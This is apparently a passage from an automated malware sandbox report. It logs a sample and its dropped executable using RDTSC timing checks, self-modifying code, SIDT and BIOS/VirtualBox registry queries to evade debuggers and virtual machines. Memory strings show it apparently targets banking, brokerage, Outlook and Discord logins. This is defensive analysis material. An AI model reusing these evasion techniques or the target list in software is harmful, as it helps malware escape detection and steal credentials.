Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: C9E509 second address: C9E50D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E0F396 second address: E0F39C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E0F39C second address: E0F3DD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FBC14D8F5BDh 0x0000000b pop eax 0x0000000c push ecx 0x0000000d jmp 00007FBC14D8F5C7h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FBC14D8F5C3h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E16038 second address: E16055 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FBC154CB166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FBC154CB16Ah 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E16055 second address: E16070 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC14D8F5C5h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E16070 second address: E16076 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E162CF second address: E162D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E162D3 second address: E162EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC154CB171h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E16430 second address: E16436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E16436 second address: E1643A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E16736 second address: E1673E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E1673E second address: E16757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FBC154CB171h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E16757 second address: E16766 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC14D8F5BBh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E16766 second address: E16776 instructions: 0x00000000 rdtsc 0x00000002 je 00007FBC154CB166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E16776 second address: E1677A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E18E5E second address: E18E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC154CB16Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E18E6E second address: E18E85 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBC14D8F5B8h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007FBC14D8F5B8h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E18E85 second address: E18EA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBC154CB179h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E18EA3 second address: E18F3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov ecx, esi 0x0000000a jmp 00007FBC14D8F5C9h 0x0000000f push 00000000h 0x00000011 jmp 00007FBC14D8F5C5h 0x00000016 call 00007FBC14D8F5B9h 0x0000001b jno 00007FBC14D8F5CCh 0x00000021 push eax 0x00000022 jmp 00007FBC14D8F5C8h 0x00000027 mov eax, dword ptr [esp+04h] 0x0000002b jmp 00007FBC14D8F5C8h 0x00000030 mov eax, dword ptr [eax] 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E18F3E second address: E18F45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E18F45 second address: E18F8A instructions: 0x00000000 rdtsc 0x00000002 jno 00007FBC14D8F5B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e jng 00007FBC14D8F5BEh 0x00000014 pop eax 0x00000015 mov cx, di 0x00000018 jmp 00007FBC14D8F5BAh 0x0000001d push 00000003h 0x0000001f add dword ptr [ebp+122D357Eh], ecx 0x00000025 push 00000000h 0x00000027 movsx edx, bx 0x0000002a push 00000003h 0x0000002c push 9B6B3A36h 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 pop eax 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E18F8A second address: E18F8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E18F8E second address: E18FF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FBC14D8F5C5h 0x0000000c pop ebx 0x0000000d popad 0x0000000e add dword ptr [esp], 2494C5CAh 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007FBC14D8F5B8h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f mov esi, edi 0x00000031 lea ebx, dword ptr [ebp+1244ED83h] 0x00000037 jmp 00007FBC14D8F5C0h 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f jng 00007FBC14D8F5B8h 0x00000045 push eax 0x00000046 pop eax 0x00000047 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E18FF7 second address: E18FFC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E18FFC second address: E19011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FBC14D8F5BAh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E190A8 second address: E190C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB16Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FBC154CB16Bh 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E190C9 second address: E190E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC14D8F5C7h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E190E4 second address: E19111 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jng 00007FBC154CB16Eh 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FBC154CB16Fh 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E19111 second address: E19118 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E193D1 second address: E19437 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB177h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a xor dword ptr [esp], 5A8D3400h 0x00000011 jmp 00007FBC154CB177h 0x00000016 lea ebx, dword ptr [ebp+1244ED97h] 0x0000001c mov edi, dword ptr [ebp+122D3BBCh] 0x00000022 xchg eax, ebx 0x00000023 jmp 00007FBC154CB16Bh 0x00000028 push eax 0x00000029 pushad 0x0000002a jmp 00007FBC154CB16Ah 0x0000002f push eax 0x00000030 push edx 0x00000031 je 00007FBC154CB166h 0x00000037 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E39C75 second address: E39C7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E0A1CC second address: E0A1DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007FBC154CB166h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E0A1DB second address: E0A1DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E0A1DF second address: E0A209 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBC154CB166h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007FBC154CB174h 0x00000012 jmp 00007FBC154CB16Ch 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jng 00007FBC154CB166h 0x00000021 push edx 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E0A209 second address: E0A22C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007FBC14D8F5B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d jbe 00007FBC14D8F5EFh 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007FBC14D8F5BCh 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E0A22C second address: E0A232 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E37AB4 second address: E37ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E37ABA second address: E37ABE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E37ABE second address: E37AD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FBC14D8F5B6h 0x0000000e je 00007FBC14D8F5B6h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E37AD2 second address: E37AFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB16Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FBC154CB177h 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E37F21 second address: E37F3E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E37F3E second address: E37F44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E37F44 second address: E37F49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E37F49 second address: E37F54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FBC154CB166h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E37F54 second address: E37F5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E381F9 second address: E381FF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E384DC second address: E384E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E384E2 second address: E384FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC154CB178h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E384FE second address: E38514 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jc 00007FBC14D8F5B6h 0x0000000d pop edx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E38514 second address: E3851A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E3851A second address: E3851E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E3851E second address: E3852C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 js 00007FBC154CB166h 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	RDTSC instruction interceptor: First address: E3852C second address: E38531 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B2EB71 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CCDF42 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CFBC87 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D61BA0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Special instruction interceptor: First address: C9DD26 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Special instruction interceptor: First address: C9DD2C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Special instruction interceptor: First address: E3E37D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Special instruction interceptor: First address: E3E716 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Special instruction interceptor: First address: E3CF00 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Special instruction interceptor: First address: E6B8A2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Special instruction interceptor: First address: ED74B7 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Memory allocated: 4980000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Memory allocated: 4B60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Memory allocated: 4980000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe

Code function: 6_2_00E19451 rdtsc

6_2_00E19451

Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe

Code function: 6_2_00E2B5F3 sidt fword ptr [esp-02h]

6_2_00E2B5F3

Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1183	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1478	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1577	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 7764	Thread sleep count: 66 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7764	Thread sleep time: -132066s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7740	Thread sleep count: 1183 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7740	Thread sleep time: -2367183s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7744	Thread sleep count: 1478 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7744	Thread sleep time: -2957478s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7892	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7736	Thread sleep count: 1577 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7736	Thread sleep time: -3155577s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe TID: 5292	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: 5C18KRB735WCGR95JY.exe, 00000006.00000002.2207508292.0000000000E1D000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, file.exe, 00000001.00000003.1692307782.000000000075A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1675534325.000000000075A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1693036130.0000000000737000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006083231.0000000000737000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1675534325.0000000000737000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1692307782.0000000000737000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1899354200.000000000075A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1693036130.000000000075A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006083231.000000000075A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1899354200.0000000000737000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1708713954.0000000000737000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: file.exe, 00000001.00000003.1676737977.00000000053F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
